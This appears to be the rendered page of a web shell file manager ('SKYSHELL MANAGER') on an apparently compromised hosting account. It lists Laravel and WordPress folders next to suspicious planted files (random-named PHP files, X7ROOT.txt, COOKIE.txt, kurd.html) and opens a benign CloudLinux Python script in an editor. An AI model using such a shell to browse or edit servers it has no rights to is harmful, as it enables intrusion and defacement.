📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: cagefs_statistics_config.py
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT # show cagefs usage statistics - work for cloudlinux-config utility import os import subprocess from typing import Optional # NOQA BIN_EXEC = '/usr/sbin/cagefsctl' CAGEFS_STATUS_NOT_INITIALIZED = 'Not initialized' CAGEFS_STATUS_NOT_INSTALLED = 'Not installed' def get_cagefs_user_mode(): # type: () -> Optional[str] """ Get Cagefs user mode, execute cagefsctl --display-user-mode cmd :return string -> cagefs user mode """ if os.path.exists(BIN_EXEC): try: with subprocess.Popen( [BIN_EXEC, '--display-user-mode'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) as proc: out, _ = proc.communicate() try: return out.split(':')[1].strip() except IndexError: return None except (OSError, IOError): return None def get_cagefs_status(): """ Get Cagefs user status, execute cagefsctl --cagefs-status cmd :return string -> cagefs status """ if not os.path.exists(BIN_EXEC): return CAGEFS_STATUS_NOT_INSTALLED if not check_cagefs_initialized(): return CAGEFS_STATUS_NOT_INITIALIZED try: with subprocess.Popen( [BIN_EXEC, '--cagefs-status'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) as proc: out, _ = proc.communicate() return out.strip() except (OSError, IOError): return None def get_quantity(enabled): """ Get Cagefs quantity if enabled/disabled users, execute cagefsctl --list-enabled cmd for enabled users execute cagefsctl --list-disabled cmd for disabled users :param enabled: true/false flag for quantity enabled/disabled users :return int -> quantity of users """ if os.path.exists(BIN_EXEC): try: if enabled: cmd = '--list-enabled' else: cmd = '--list-disabled' # do not need to check returncode for cagefsctl, not always returns 0 with subprocess.Popen( [BIN_EXEC, cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) as proc: out, _ = proc.communicate() try: stat = list(out.split('\n')) if not stat[0]: return 0 return int(stat[0].split(' ')[0]) except (IndexError, ValueError): return None except (OSError, IOError): return None def check_cagefs_initialized(): """ Check if cagefs is initialized with help of --check-cagefs-skeleton command --check-cagefs-skeleton returns rc 0 only if it is initialized """ try: subprocess.check_output([BIN_EXEC, '--check-cagefs-initialized'], stderr=subprocess.STDOUT, shell=False) return True except (subprocess.CalledProcessError, OSError): return False
Save